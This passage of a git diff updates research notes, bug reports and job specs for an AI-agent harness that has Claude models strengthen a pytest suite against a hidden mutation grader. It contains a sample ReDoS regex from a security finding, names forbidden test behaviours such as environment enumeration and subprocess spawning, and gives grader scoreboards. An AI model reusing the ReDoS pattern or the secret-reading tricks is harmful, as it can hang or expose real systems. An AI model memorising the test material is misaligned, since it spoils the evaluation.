sign-off — confirm or override it. + +**What is NEW vs the POC (F46):** the POC HARDWIRED the winning composition +(`tree-changed ∧ check-passes(clean-run)`) in a throwaway harness. Here the +four-field spec dispatches `runJob → runPlan`: **scout → the Planner drafts a plan-v1 +DAG → the validator gates it → the per-step Loop+Gate executor runs it → the outer +grader close (the only truth) + its bounded fix loop.** Two things the POC never +tested now ride the read: (1) **does the Planner itself compose the check exit?** +(it is told the check NAMES and the tree-changed pairing rule, never the command — +recorded per row as `planReferencedCheck`); (2) the flow runs TWO mechanical feedback +channels — the `clean-run` check DURING the steps, then the grader's survivor-count +gap in the fix loop — strictly more than the POC's single check loop. The grade comes +from the outer grader auto-run by the flow (POC harness-ran it once). + +**Surface / worker / patient (unchanged from 21c/d — behavioral reads live where the +baselines live):** `anthropic-api`, worker `claude-sonnet-5`. F39 IS the baseline (0 +conversion; 3/3 acting rows died at the clean wall; same provider/model/seed/grader); +the POC's 3/3 hardwired conversions (27.5/40/37.5, 0 at 45) are the second comparison. +Full patient reset + manifest-verified seed re-copy + fresh litectx index per row. +Per-row grader precheck must read exactly `verdict:15%` (drift = INSTRUMENT-STOP, +re-derive). capRuns=4 (mirrors the POC check loop; bounds each step AND the fix loop). + +**PRIMARY read (acceptance — clean-wall conversion reproduced through the real flow):** +- **L2-CONVERT** = an acting row (>0 gate-audited write/edit) whose outer grader + reaches `phase: 'verdict'` (a clean, graded suite — the flow drove the worker past + the clean wall F39 died at). **≥2 of 3 acting rows L2-CONVERT → ACCEPTANCE MET**: + the built machinery reproduces the POC's conversion; the Layer 2 path holds. +- **0 of 3 → ACCEPTANCE FAILS**: the build broke the premise; the stop is the result; + findings entry; redesign with hamr. +- **1 of 3, or INERT-dominated → MIXED**: report, decide with hamr, no unilateral + extension. + +**SECONDARY read (RECORDED, never acceptance — the pre-registered F32/F39 axis split):** +kill-rate distribution, greens at the 45 bar (F38's single untested claim gets its +first REAL-FLOW data), `planReferencedCheck` rate, vs-seed direction, vs the POC's +27.5/40/37.5. Reaching 45 is a worker-CAPABILITY question, not a Layer 2 STRUCTURE +question — so a conversion-positive battery with 0 greens at 45 is an honest open +question, exactly as the POC recorded it, NOT a rung fail and NOT spin. **Milestone +note (flagged for hamr):** the design record's "the Layer 2 path closes green +end-to-end" (§110, the trigger that sunsets `steps[]`) additionally wants ≥1 genuine +green (grader ≥45) through the plan flow. That is RECORDED here and, if achieved, +additionally satisfies the sunset milestone — but per the axis split it does NOT gate +acceptance. If 0/3 hit 45, acceptance can still be MET on conversion while the +`steps[]` sunset waits for a later green. + +**Row classes (frozen):** CASUALTY (provider-red — never evidence) · INSTRUMENT-STOP +(precheck drift, or cap bound mid-attempt/16g, or spend not governable) · L2-INERT +(zero allowed write/edit across the run — valid, non-acting) · L2-PLAN-RED (the +drafter never produced a validator-green plan in its two tries — a real build concern, +valid, non-acting) · L2-CONVERT (acting + graded) · L2-NO-CONVERT (acting, never +reached a graded suite — died at the clean wall / cap-halt / step-red). + +**Money (frozen):** `$8/row` REAL (operator-signed `budgetUsd`), `$30` cumulative +hard-stop across all launches incl. casualties, max 6 launches. The budget must fund +the plan steps PLUS the grader fix loop PLUS every check/grader run (16g sizing rule, +twice-paid) — and because the real flow runs BOTH loops it may spend more per row than +the POC's single loop. **If a row cap-halts before converting, that is a SIZING +finding (re-size with hamr, caps never widened silently), reported distinctly from a +premise fail.** `spendComplete:false` or null `spentUsd` → STOP (spend not governable, +F43/F45). A cap binding mid-attempt (iteration-start with no worker-result, F45 fix 2) +is a casualty and instrument-stops the run. + +**Standing rules unchanged:** provider-red rows are casualties (probe with the +battery's own model before firing during instability); secrets scrub on the spine (a +leak is the hard line broken → STOP); POC rows enter no battery evidence and vice +versa; budget exhausted before 3 acting rows → report rows in hand, no top-up without +hamr. Harness pre-validated $0 (2026-07-22, run `mrvp7tsq`, `--dry`): reset/seed/ +dispatch/precheck-at-15/spine-read all green; the scout throw relayed to provider-red +cleanly. No worker round has run; no number exists. + +## Amendment 2026-07-22b — ACCEPTANCE MET: 3/3 CONVERT, 3/3 green at the 45 bar (F47) + +Three runs across an Overloaded provider window (runids `mrvpteca`, `mrvwjrop`, +`mrvyexy4`), each a full patient reset + manifest-verified seed + fresh index per +row. **Frozen n=3 read, valid acting rows only (casualties excluded per the +standing rule):** + +| row | class | grade | plan-composed-check | targeted | +|---|---|---|---|---| +| mrvpteca L1 | L2-CONVERT | 67.5% | yes | 18/18 | +| mrvwjrop L1 | L2-CONVERT | 55% | yes | 18/18 | +| mrvyexy4 L3 | L2-CONVERT | 55% | yes | 16/18 | + +**PRIMARY (acceptance): 3/3 acting rows L2-CONVERT ≥ the 2/3 bar → ACCEPTANCE +MET.** The built plan flow (Planner drafts + composes the check exit ITSELF, +per-step check-loops, one replan on two rows) reproduces the clean-wall +conversion the F46 POC hardwired. **SECONDARY (recorded): 3/3 green above the 45 +bar (67.5/55/55 vs the POC's 27.5/40/37.5, 0 at 45)** — F38's single untested +claim ("notes + self-check reaches the bar") confirmed on the real flow; the +"path closes green end-to-end" milestone (design record §110, steps[] sunset) is +additionally satisfied. All three greens hit `satisfied` on the FIRST outer +grading — the step check-loop alone drove them, no grader fix loop fired. + +**Casualties / cost:** 7 provider-red transport casualties (never evidence) + 1 +valid-inert (plan stalled on a read step) alongside the 3 acting rows; $27.36 of +the $30 frozen cap. All writes fenced to `tests/testgen/**`; source at the frozen +SHA every row; secrets clean; the F45 spend-governability guard STOPPED an +unpriced casualty (run 2) exactly as designed. + +**Process notes (F47):** (a) run 1 fired without the frozen pre-fire health probe +— 4 casualties, ~$6.69; owned. (b) The single-message health probe read 2/2 200s +while multi-round runs still caught mid-flight transport failures — a liveness +check is not a sustained-throughput check. (c) Harness continuation: driver +gained `--need N` (acting-row target this invocation) and `--priorUsd X` (fold +prior spend into the $30 cap) so the frozen n=3 read combines across runs under +one governed cap; neither touches the spec hash or the read rules. + +**Disposition:** Layer 2 rung ACCEPTED. `steps[]` and config-v1 sunset on +landing (design record decision 6 / §110). No `root-injected` on any row → Layer +R ON/OFF flip did not trigger, `layerRoot` stays OFF. Next: whole-branch +code-review before release. diff --git a/docs/FINDINGS.md b/docs/FINDINGS.md index 7ffd57d..d642d5f 100644 --- a/docs/FINDINGS.md +++ b/docs/FINDINGS.md @@ -2276,3 +2276,188 @@ in-run check TRANSLATES the semantic ask into the mechanical genre — and the same worker that stalled 4/4 (F39) then went 3/3. Structure, not memory and not more state, was the missing piece — measured at $5.24 after $30+ of instruments that had to be built and broken to make this read possible. + +## F47 — Layer 2 rung ACCEPTED: the real plan flow converts 3/3 and clears the 45 bar 3/3 + +**Setup (prereg 2026-07-22a, frozen before any number; spec hash +`af338c9b…`).** The rung's exit gate: job #4 (TESTGEN) through the REAL plan +flow — `runJob → runPlan`: scout → the Planner drafts a plan-v1 DAG → the +validator gates it → the per-step Loop+Gate executor runs it (the operator-signed +`clean-run` check referenced as a step exit) → the outer grader close + its fix +loop. This is NOT the F46 POC, which HARDWIRED the winning composition; here the +Planner must author it. Same surface as F39/F46 (`anthropic-api`, claude-sonnet-5, +byte-identical goal body, 15% seed, frozen grader, 45 bar). hamr-authorized +$8/row, n=3, draft-and-freeze-then-sign-off. + +**Result: 3/3 valid acting rows L2-CONVERT, all three green ABOVE the 45 bar +(67.5% · 55% · 55%), $27.36 of $30 across three runs.** Primary read (≥2/3 +convert) MET; the secondary "path closes green end-to-end" milestone (steps[] +sunset, design record §110) ALSO met — every acting row hit the bar, surpassing +the POC (which never reached 45). Frozen axis split honored: the 45-bar greens +were RECORDED as secondary, not the acceptance gate; acceptance is the conversion +read alone. + +**The three build-specific things the POC could not test, all positive:** +(1) **The Planner composed `tree-changed ∧ check-passes(clean-run)` itself, +3/3** — it is told the check NAMES and the pairing rule, never the command, and +authored the winning exit every time. (2) The flow's per-step decomposition +worked: 5–6 steps, one replan on two rows, 131–222 rounds. (3) Notably NONE of +the three greens needed the outer grader's fix loop — all were `satisfied` on the +first outer grading, so the STEP check-loop alone drove 55–67.5%. Aim stayed +excellent (16–18/18 survivor functions targeted). All writes fenced to +`tests/testgen/**`; source at the frozen SHA on every row; secrets clean +throughout; the grader's D1 + pristine-source guards gate exploitation, and +22–27 of 40 mutants killed on pristine source is real behavior-assertion by +construction (a vacuous suite kills ~0). + +**What this does NOT claim.** n=3 supports existence + direction, never a rate +estimate. And the delta vs the POC's 0/45 is NOT attributed: the real flow gives +the worker far more total rounds (131–222 vs the POC's 40–72) AND per-step +decomposition — a rounds-vs-structure confound left explicitly unminted. The +acceptance question ("does the built flow reproduce conversion and reach the +bar") is answered yes; WHY it beats the single-loop POC is a separate, +unresolved recorded observation. + +**Provider instability, and two process notes.** The battery ran across an +Overloaded window: 7 provider-red transport casualties (never evidence) against +4 valid rows, requiring a continuation to reach n=3. (a) The FIRST run fired +WITHOUT the frozen pre-fire health probe (operator go taken as sufficient) — 4 +casualties, ~$6.69, the cost of skipping it; owned. (b) The single-message health +probe is a WEAK instrument for sustained-load instability: it read 2/2 200s while +subsequent multi-round runs still caught mid-flight transport failures — a cheap +liveness check is not a sustained-throughput check. The spend-governability guard +(F45) worked: an unpriced casualty (`spendComplete:false`) correctly STOPPED a +run rather than passing as evidence. + +**Layer R riding item:** no row recorded `root-injected` (converts don't +fixate — consistent with F41, fixation extinct on healthy jobs); the ON/OFF +default-flip read did not trigger, `layerRoot` stays OFF, decision unchanged. + +**Lesson.** Layer 2 is accepted on its own terms: the built machinery — Planner +authoring the plan and the check composition, bounded per-step check-loops — did +what the hardwired POC only proved was possible, and then cleared the bar the POC +never reached. The genre chain closes end to end: F38 (mechanical converts) → +F39 (delivery/state is not the gap) → F46 (an in-run check TRANSLATES semantic → +mechanical, hardwired) → F47 (the emergent flow does it itself, and reaches the +bar). Structure was the missing piece, and the agent can author the structure +under an inexpressible arbiter. + +## F48 — clipipe cross-surface verdict: the native subscription surface is capable at the step but does not finish the job; only the API is guaranteed + +**The question.** F47 accepted Layer 2 on the `anthropic-api` surface (3/3 convert, +3/3 at the 45 bar). Does the same built machinery reproduce on the +`clipipe-subscription` surface (BA-16 native MCP: the `claude` CLI drives the turn +cycle, notional dollars, flat subscription instead of per-token billing)? Same job +#4 (TESTGEN), same frozen seed (15% baseline), same operator-signed check, same +grader, same 45 bar. Notional dollars NEVER pool with API rows (F42/job-v1 +doctrine); F47's API numbers are a cross-surface REFERENCE, not a baseline on this +surface. + +**The enabler (measured).** The native worker could not write at all (0/158 reads, +0 writes) because the `claude` CLI TRUNCATES a large tool result (~40–50KB / ~line +550, measured) before the model sees it, spills the remainder to a +`~/.claude/.../tool-results/` file the fence denies, AND wraps it in a "read this in +chunks" notice the model correctly distrusts as prompt injection — so a whole-file +`shell_read` of the 2,455-line orchestrator blinded it. Fix (`planrun.js`, +`NATIVE_READ_CAP=24KB` + a trusted truncation notice steering to `ctx_get` ranged +retrieval + a native-only strategy line; API path untouched, `bare-agent` 0.33.1 +for the native ranged read, BA-17). Effect: **0 → 7 writes**, 137 bounded reads, no +stall. My earlier "it's behavioral / it can't write" was FALSIFIED — the blocker +was read-blinding, mechanical. + +**The two acting rows (0/2 graded).** + +| | API (F47) — guaranteed | clipipe row A ($8) | clipipe row B ($28) | +|---|---|---|---| +| outcome | 3/3 CONVERT | cap-halt | step-red escalate | +| grade | 67.5 / 55 / 55 (all ≥45) | null | null | +| notional $ | $4.73 / $6.46 / $6.48 | $8.61 (overshot $8) | **$7.12 of $28** | +| $/LLM-call | ~$0.029 | ~$0.074 (~2.5×) | ~2.5× | +| wall-clock | 34–41 min | ~57 min | escalated early | +| writes | 11–15 acted | 7 (3 files, 1 step GREEN) | 6 (1 file) | +| why not graded | — | budget bound mid-plan | **non-change stall, budget to spare** | + +Row A (`mrxd0c4l`) wrote 7 real tests, drove one step to `satisfied` (green), and +its check-loop iterated 4× on genuine MECHANICAL gaps (forbidden pattern +`environ-enumeration` → `subprocess` → `clean-red` ×2), the worker revising each +time — then cap-halted before the outer grade. Row B (`mrxkj6ik`, the funded shot) +read the seed tests fine (conftest 9×, `test_execute_behavior` 11×, +`test_orchestrator_helpers` 8×) and aimed well (11/18 survivor functions recalled), +but produced a NON-CHANGED suite: plan attempt 1 = 4 iterations `unchanged-red` +(byte-identical to the seed); after replan, attempt 2 = 4 iterations `0 files +changed — identical re-write is not a change`; 4/4 attempts each, close still red → +escalate → job `step-red` at **$7.12 of $28**. Casualties across the campaign were +transport flakes (`provider-red`, $2.6 / $0.43) and a `pricing-red` — with NO +resume, a multi-hour row can be lost near the end. + +**What the funded shot proved (the decisive result).** The budget hypothesis is +REFUTED. Raising the per-row cap 8 → $28 (3.5× the API's ~$6 rows) spent only $7 +and did NOT convert — it escalated on BEHAVIOR, not money. More budget is not the +blocker. The read-cap is exonerated (it read everything and aimed correctly). The +$28 failure is the **F39 semantic-stall reproduced on native**: the worker converts +MECHANICAL gaps (row A's four distinct forbidden-pattern gaps) but stalls on the +SEMANTIC "make it meaningfully different / it's unchanged" gap — the same ceiling +frontier Claude hits on the API (F38/F39). Native is NOT behaviorally worse and NOT +a plumbing bug — it delivers feedback correctly (row A's differentiated iteration +proves it); it is the same worker with the same semantic limit, plus a cost/time/ +reliability tax. `layerRoot` unchanged (converts don't fixate; no `root-injected`). + +**The verdict: only the API is guaranteed.** Across every native row, 0 reached a +grade vs the API's 3/3. clipipe is capable at the STEP level (row A: 7 writes, a +green step) but does not reliably carry a long JOB across the line, and the one +lever — budget — is spent and refuted. Its cost is NOTIONAL (subscription- +equivalent under the "cost is cost" ruling); the ACTUAL billed cost is the flat +subscription, $0 marginal — that is its ONLY advantage, and it is bought with a +permanent tax: ~2.5–3× notional effort, always slower (~23s/turn subprocess, never +faster), no resume on transport flakes, and the inherited F39 semantic ceiling with +no offsetting gain. clipipe is IN only as a babysat, $0-marginal-billing fallback +for jobs one is willing to re-run — never an API peer on result, cost, or time. +(Caveat: n=2 native acting rows, two different non-converting modes; the OUT-as-peer +call holds because no native row has ever graded and budget is refuted, but it is +n=2, not a rate.) + +**Local LLMs — not this surface, and not a surface at all yet.** clipipe is the +`claude` CLI = Claude models via subscription; it does NOT run local models. Local +LLMs are DEFERRED by decision (PRD: "no local-LLM work until the API path earns +it") — no local surface is built or measured, so no claim is made. The reasoned +expectation, flagged UNMEASURED: a local model would face the same F39 semantic- +conversion ceiling that even frontier Claude stalls on (§F38/F39), likely worse, +plus tool-call-fidelity risk — a research bet, not a drop-in. Today the guarantee +lives on the API alone. + +**Lesson.** "Cost and capability are separate axes," applied to SURFACES: a cheaper +transport buys $0 marginal billing and nothing else — not speed, not reliability, +not completion, and it inherits the frontier model's semantic ceiling. The funded +$28 shot was the right instrument: it converted the open "cap-halt → fund more" +hypothesis into a refutation (spent $7, escalated on behavior), which no cheaper run +could have settled. The API is the only guaranteed surface; clipipe is a taxed +Claude-only fallback; local LLMs are an unbuilt, unmeasured future bet. + +## F49 — OPEN (logged follow-up): the agent-authored `artifact-written` regex runs unbounded in the exit evaluator + +**The gap (security scan, v0.5.0 pre-release).** `src/exits.js` evaluates an +`artifact-written` exit's optional `pattern` with `new RegExp(e.pattern, 'm').test(body)` +against the worker-written file. The pattern is AGENT-authored (it rides the plan, not +the signed spec), and `evalExits` has no wall-clock bound — so a catastrophic-backtracking +pattern (e.g. `(a+)+$`) against a large body could hang the evaluator. The plan validator +(`plan.js`) only COMPILES the pattern; compilation does not detect ReDoS. + +**Severity: LOW, and NOT an arbiter compromise.** The "attacker" is the model authoring a +pathological pattern in its OWN plan; the blast radius is the operator's own run hanging +(self-DoS). It cannot escape the write fence, forge a green, widen a budget, or leak a +secret — every arbiter-integrity threat (secrets, fence, close, budget, argv injection, +path traversal) scanned CLEAN. This is a robustness gap (unbounded CPU on a semi-trusted +author's input), filed as the honest "bound every reachable path" invariant applied to +CPU, not a privilege/exposure vuln. Operator-authored regex (`judged.pattern`, `gapKeep`, +check bodies) is out of scope — the operator is trusted and those are signed. + +**Fix DEFERRED (multiple shapes, needs a decision — hamr's call at v0.5.0):** (a) bound the +tested input size, (b) run the match under a timeout (needs a worker/subprocess in JS), or +(c) reject nested-quantifier patterns at validation (incomplete). (a) changes match +semantics for patterns meant to hit late in a large file; (b) is the most faithful but the +heaviest; (c) cannot be complete. Recorded as the next Layer 2 hardening item; the v0.5.0 +release proceeded because the arbiter is uncompromised. + +**Lesson.** A security scan's value is the coverage table, not just the hits: the one +finding here is a LOW self-DoS, and naming it against a CLEAN arbiter-integrity sweep is +what makes "clean" auditable rather than asserted. diff --git a/docs/UPSTREAM-ASKS.md b/docs/UPSTREAM-ASKS.md index 956b818..8f65f47 100644 --- a/docs/UPSTREAM-ASKS.md +++ b/docs/UPSTREAM-ASKS.md @@ -17,7 +17,13 @@ it · the fix (upstream commit/PR) · the version bareloop consumed.** > record. Every entry keeps its acceptance criteria inline; the resolution/scoreboard the handoff > carried is folded into the closing section. `docs/UPSTREAM-FIXES.md` is deleted. -## Status at a glance (2026-07-15) +## Status at a glance (2026-07-15; updated 2026-07-22) + +> **2026-07-22 update:** BA-16 (native `claude-mcp` tool mode) **delivered in +> `bare-agent@0.33.0`** and consumed (module 4d). One follow-up is now **OPEN — BA-17**: the +> native turn bound counts tool-calling turns and did not enforce at real-job scale, blocking +> the clipipe cross-surface battery (F48). Full entry at the end of the queue. The +> 2026-07-15 snapshot below stands for everything prior. **The queue is EMPTY: BA-13 delivered in `bare-agent@0.29.0`** (same day it was filed) and consumed by bareloop the same session (TOOL_MENU/TOOL_BY_VERB gain `edit`; F32). Everything @@ -822,6 +828,12 @@ draft call is worth revisiting. ## BA-16 — CLIPipe tool mode should offer a NATIVE path (`claude -p --mcp-config`) beside the envelope emulation (2026-07-21, Layer 2 POC firing 1 / F45) +> **DELIVERED in `bare-agent@0.33.0`** (`toolProtocol:'claude-mcp'`), consumed in bareloop +> module 4d (native clipipe worker surface, commit `2c81b57`). Criteria 1/2/3/5 verified by +> the live 4d smoke. **Criterion 4 (advertised bound == enforced bound) held in the trivial +> smoke but FAILED at real-job scale** — the native `--max-turns` bound counts tool-calling +> turns and did not stop an 8-turn scout at 8. That failure is the follow-up **BA-17 below**. + **Symptom, measured (F45):** the 0.32.0 envelope emulation carries a gated worker mechanically (smoke: green end-to-end) but is the wrong instrument for real jobs on two axes at once: @@ -882,7 +894,100 @@ the inner cycle; bareloop's shell keeps the money cap, per-attempt bound via unchanged). bareloop consumes this behind its existing caller-supplied `provider` seam; no library change expected beyond the provider construction. -*(No other open asks from this repo.)* +## BA-17 — native (`claude-mcp`) `onTurn` fired once per content BLOCK, inflating a caller's turn and token counters ~4–5× (2026-07-22, Layer 2 clipipe cross-surface battery / F48) + +> **DELIVERED in `bare-agent@0.33.1`** (commit `bbeba7d`, consumed here 2026-07-23; source- +> verified: adjacent-run `message.id` dedup at `provider-clipipe-mcp.js:330-420`; +34 tests, +> 19 mutations red both directions; bareloop suite 517/517 green on 0.33.1). **The real +> mechanism — and the correction of this ask's own diagnosis:** the claude CLI emits a +> separate `assistant` stream event **per content block**, each repeating the message's +> `usage`. `createSessionStream` fired one `onTurn` per event, so a caller counting LLM turns +> saw **35 events for 8 real turns** (4.4×) and summed the same usage per block (**5.04×** +> token inflation). Our gate net (16) was tripped at ~4 real turns by inflated ticks → on +> native that routed `humanChannel → terminate` → work discarded → the INERT battery. +> +> **Both defects this ask filed were measured FALSE on the wire** (bare-agent probed them +> directly — the BA-2 misfile pattern, owned): `--max-turns` **does enforce** (a 12-step task +> under `--max-turns 4` stopped at 4 with named `error_max_turns`) and **does count assistant +> turns** (12 tool-calls across 2 turns inside `--max-turns 3`). My "16 LLM turns / 26 reads / +> `--max-turns 8` never bound" reading was **counting the inflated per-block events** — a +> confounded instrument (the scout barely reached ~4 real turns before the inflated net killed +> it). Fix also reconciles the TOKEN axis (closing `kind:'session'` event carries the per-tier +> residual → a wired gate's tokens sum to the CLI's own total, live-verified 821) and lands +> BA-5-on-native (a bounded session returns the last turn's text, terminal `stopReason: +> 'max_turns'`). Acceptance re-smoke on our stack folded in below once green. + +**Original ask as filed 2026-07-22 (diagnosis since corrected above — kept for the record):** + +**Context.** BA-16's native mode (delivered 0.33.0, consumed module 4d) maps the caller's +`maxTurns` to the CLI's `--max-turns`. bare-agent's own record says that bound counts +**tool-calling turns** — `bareagent.context.md:77` ("cap total tool-calling **rounds**"), +`:437` ("`limits.maxTurns` ticks on every `gate.record` — LLM **+ tool**"), and BA-16 +criteria C/D (`--max-turns 2` "stopped a 3-**call** task after 2 **calls**"; an +"8-**tool-turn** session"). That unit conflicts with a caller's attempt-bound semantics on +the Loop path, and at real-job scale the flag did not enforce at all. + +**Symptom, measured (job #4 TESTGEN native scout, runid `mrwdtjpd`, gate audit +`l2clip-L1-mrwdtjpd-gate-audit.jsonl`).** The scout was built with `maxTurns: 8` → +`--max-turns 8` (bareloop driver forwards it correctly, +`scripts/run-battery-l2accept-clipipe.mjs:89`; `provider-clipipe-mcp.js:449` pushes the +flag). The session then: +- ran **16 LLM/assistant turns** and **26 read tool-calls** before any bound fired; +- **never emitted `error:'max_turns'`** — `--max-turns 8` did not stop it at 8 in ANY unit + (not 8 tool-calls: 26 reads happened; not 8 assistant turns: 16 happened; 35 `onTurn` + events total across the whole session); +- what finally stopped it was the CALLER's bareguard net at `maxTurns 16` (`limits.maxTurns`, + reason `turns 16 >= max 16`) — an `askHuman` halt that on native routes to + `humanChannel:{decision:'terminate'}`, **discarding the scout's work → INERT**. 6/6 rows, + $0 graded, a blind-instrument battery. + +So BA-16 criterion 4 held in the 3-call smoke and FAILED on a real read-heavy job — the +"smoke misses what a real run finds" class. + +**Two coupled defects.** +1. **Enforcement** — `--max-turns N` on a native `claude-mcp` session does not stop the + session at N when the task naturally exceeds N (real run overran 8 by ~2× before an + external bound intervened). Root cause is bare-agent's to bisect (flag not honored under + `-p`/`--strict-mcp-config` MCP mode? a claude-CLI turn unit a single `-p` prompt never + increments?) — it owns the native seam. +2. **Unit** — even enforced, the bound counts **tool-calling turns**, but a caller's attempt + bound is an **LLM/assistant-turn** count (bareloop F37: the caller records only + `type:'llm'` to the gate, precisely so a read-heavy attempt is not guillotined by + tool-call counting). `maxTurns: N` must mean the same unit on native as on the Loop path, + or the two surfaces silently disagree. + +**Ask (FAIL-able), each independently falsifiable on a live subscription `claude-mcp` +session:** +1. **Enforce at N.** A task that would naturally take ≥ 2N turns, given `maxTurns: N`, stops + at N — asserted from the session's turn record, not the model's claim. (Today: N=8 → 16 + LLM / 26 tool-calls, unbounded.) +2. **Named stop, work preserved.** The stop surfaces as the distinct named `error:'max_turns'` + (never a silent success, never a caller-side terminate), so the caller's graceful + attempt-bounded path fires — bareloop already routes `r.error === 'max_turns'` this way + (`planrun.js:307`), feeding `lastText` forward. +3. **LLM-turn unit.** A session that makes M tool-calls across N assistant turns (M ≫ N) is + bounded at **N assistant/LLM turns**, not at the M-th tool-call — matching the Loop path + where `maxTurns` ticks per LLM round. The provider already streams one `onTurn` per + assistant turn (`bareagent.context.md:821`); counting THAT is the natural enforcement + point, independent of the CLI flag's unit. +4. **Parity both surfaces.** With the same caller `maxTurns: N`, the native path and a Loop + path bound at the same N — the advertised == enforced criterion (BA-16 #4), re-run on a + non-trivial job, not a 3-call smoke. + +**Not asked (recorded).** Removing `--max-turns` — if the provider counts LLM turns to a +named stop, the flag can stay as a coarse CLI-side backstop. And no change to the caller-side +gate net: bareloop's `maxTurns` backstop is correct as a loose LLM-turn net (it counts the +right unit — 16 LLM records ticked, the 26 tool-calls did not, per F37). The bug is that on +native it is currently the ONLY bound and it *terminates* rather than *bounds* — which this +ask fixes at the source by giving native a real named `max_turns`. + +**bareloop's own side (interim, not shipped).** Until this lands the native cross-surface +battery is **PARKED**. F47 / the API acceptance is untouched (Loop path, `loop.stop()` in the +LLM-turn unit, byte-identical). No bareloop turn-bounding stopgap will be built +(turn-bounding "should be bareagent"); when the native named `max_turns` ships, bareloop +consumes it with zero code change beyond the version bump. Logged as **F48**. + +*(BA-17 is the one open ask from this repo; BA-16 delivered, criterion 4 excepted.)* --- diff --git a/docs/plans/2026-07-21-layer-2-plan-v1-design.md b/docs/plans/2026-07-21-layer-2-plan-v1-design.md index bf5c9c2..f61f7e1 100644 --- a/docs/plans/2026-07-21-layer-2-plan-v1-design.md +++ b/docs/plans/2026-07-21-layer-2-plan-v1-design.md @@ -1,7 +1,10 @@ # Layer 2 — plan-v1 micro-wheels: design record -2026-07-21 · interview with hamr, decisions LOCKED · status: **POC PASSED (F46) — build -design is next; build not started.** Amend with dated addenda, never rewrite. +2026-07-21 · interview with hamr, decisions LOCKED · status: **BUILD CORE LANDED +(branch `layer-2-plan-v1`, 2026-07-21 — modules: four-field shape, plan-v1 validator, +exit evaluator, ralph judge seam, plan executor, runJob dispatch; 503 tests). The rung's +acceptance gate — the real-model battery vs F39's baseline — has NOT yet run.** Amend +with dated addenda, never rewrite. > **Addendum 2026-07-21 (same day): POC verdict — PREMISE HOLDS.** The decision-3 POC > ran on `anthropic-api` (prereg amendments 2026-07-21a–d; clipipe firing 1 was VOID, diff --git a/jobs/aurora-testgen-l2accept-clipipe.json b/jobs/aurora-testgen-l2accept-clipipe.json new file mode 100644 index 0000000..85d4909 --- /dev/null +++ b/jobs/aurora-testgen-l2accept-clipipe.json @@ -0,0 +1,52 @@ +{ + "schema": "job-v1", + "job": "aurora-testgen-l2accept-clipipe", + "description": "Layer 2 rung acceptance battery — job #4 (TESTGEN) run through the REAL plan flow (scout -> Planner -> plan-v1 validator -> per-step Loop+Gate executor -> operator-signed clean-run check -> outer grader close). Reads against F39's baseline (0 conversion; 3/3 acting rows died at the clean wall) and the POC's hardwired 3/3 (F46). The build authors the check composition the POC hardwired. Grader is the only truth; the clean-run check decides nothing and mints nothing. CLIPIPE cross-surface replication of F47 (notional dollars, never pooled with API). Prereg: docs/02-experiments/TESTGEN-PREREG.md amendment 2026-07-22a.", + "provider": "clipipe-subscription", + "conditions": { + "closeVerbosity": "scoreboard" + }, + "cadence": { + "unit": "day", + "every": 1 + }, + "budgetUsd": 28, + "writeScope": [ + "tests/testgen/**" + ], + "escalation": { + "mode": "decision-ready" + }, + "goal": "An existing pytest test suite for the SOAR orchestrator at packages/soar/src/aurora_soar/orchestrator.py (2,455 lines) already lives at tests/testgen/ — conftest.py with working injected fakes, tests/testgen/unit/ (29 tests), tests/testgen/integration/ (10 tests), all passing. Repository root: /home/hamr/PycharmProjects/bareloop-patients/aurora-soar. An external close you cannot run has ALREADY graded this suite: every test passes against the current source and the shape floor is met, but the suite detects only 15% of hidden planted faults — the passing bar is 45%. Your job is to STRENGTHEN the existing suite so it detects more faults. Read the current tests first, then sharpen weak assertions and add behavior-asserting tests that target the functions where planted faults currently survive. The grader's survivor scoreboard (function name: undetected planted faults): execute: 4, _check_soar_cache_hit: 4, _configure_health_monitoring: 3, _phase7_record: 3, _phase3_decompose: 2, _execute_simple_path: 2, _handle_execution_error: 2, _build_verify_only_result: 2, _build_cached_verify_result: 2, _check_goals_json_cache: 2, _get_progress_callback: 1, _phase2_retrieve: 1, _inject_context_files: 1, _phase5_collect: 1, _handle_critical_failure: 1, _handle_verification_failure: 1, _split_large_chunk_by_sections: 1, _classify_api_error: 1. Planted faults are small behavioral changes inside those functions (flipped comparisons, off-by-one constants, swapped booleans, dropped return values) — a test detects one by asserting the SPECIFIC current behavior: exact return values, state transitions, error routing, call delegation through the class's methods. The class takes injected dependencies (store, config, reasoning_llm, solving_llm, agent_registry) — the existing conftest.py already provides working fakes; drive everything offline, no network, no real models; pytest and pytest-asyncio are installed. Testing standards: test behavior, not implementation; smoke asserts (not-None, no-exception) are worthless here; every test is self-contained (tmp_path, monkeypatch, fakes) and deterministic; parametrize only where it multiplies coverage of real behavior. Only tests/testgen/** is writable — never modify source files; tests must never read source files off the filesystem, hash them, touch os.environ, or spawn subprocesses (the close rejects the suite if they do). All existing tests must KEEP passing against the current source. After each attempt, an automatic check runs your suite against the untouched source — a suite identical to the existing one, or one with failing tests, comes back to you as the failure output, and you get another bounded attempt to fix it. Stop when the suite is strengthened.", + "verdictType": "green", + "close": { + "type": "predicate", + "cmd": "/home/hamr/PycharmProjects/bareloop-patients/aurora-soar-bareloop/testgen-close.sh", + "expect": 0, + "judged": { + "pattern": "TESTGEN judged=(\\d+)", + "min": 1 + }, + "gapKeep": "^TESTGEN " + }, + "checks": [ + { + "name": "clean-run", + "cmd": "/home/hamr/PycharmProjects/bareloop-patients/aurora-soar-bareloop/l2poc-check-close.sh", + "expect": 0, + "judged": { + "pattern": "TESTGEN judged=(\\d+)", + "min": 1 + }, + "gapKeep": "^TESTGEN " + } + ], + "tools": [ + "read", + "grep", + "write", + "edit", + "recall", + "get" + ] +} diff --git a/jobs/aurora-testgen-l2accept.json b/jobs/aurora-testgen-l2accept.json new file mode 100644 index 0000000..13cc87a --- /dev/null +++ b/jobs/aurora-testgen-l2accept.json @@ -0,0 +1,30 @@ +{ + "schema": "job-v1", + "job": "aurora-testgen-l2accept", + "description": "Layer 2 rung acceptance battery — job #4 (TESTGEN) run through the REAL plan flow (scout -> Planner -> plan-v1 validator -> per-step Loop+Gate executor -> operator-signed clean-run check -> outer grader close). Reads against F39's baseline (0 conversion; 3/3 acting rows died at the clean wall) and the POC's hardwired 3/3 (F46). The build authors the check composition the POC hardwired. Grader is the only truth; the clean-run check decides nothing and mints nothing. Prereg: docs/02-experiments/TESTGEN-PREREG.md amendment 2026-07-22a.", + "provider": "anthropic-api", + "conditions": { "closeVerbosity": "scoreboard" }, + "cadence": { "unit": "day", "every": 1 }, + "budgetUsd": 8, + "writeScope": ["tests/testgen/**"], + "escalation": { "mode": "decision-ready" }, + "goal": "An existing pytest test suite for the SOAR 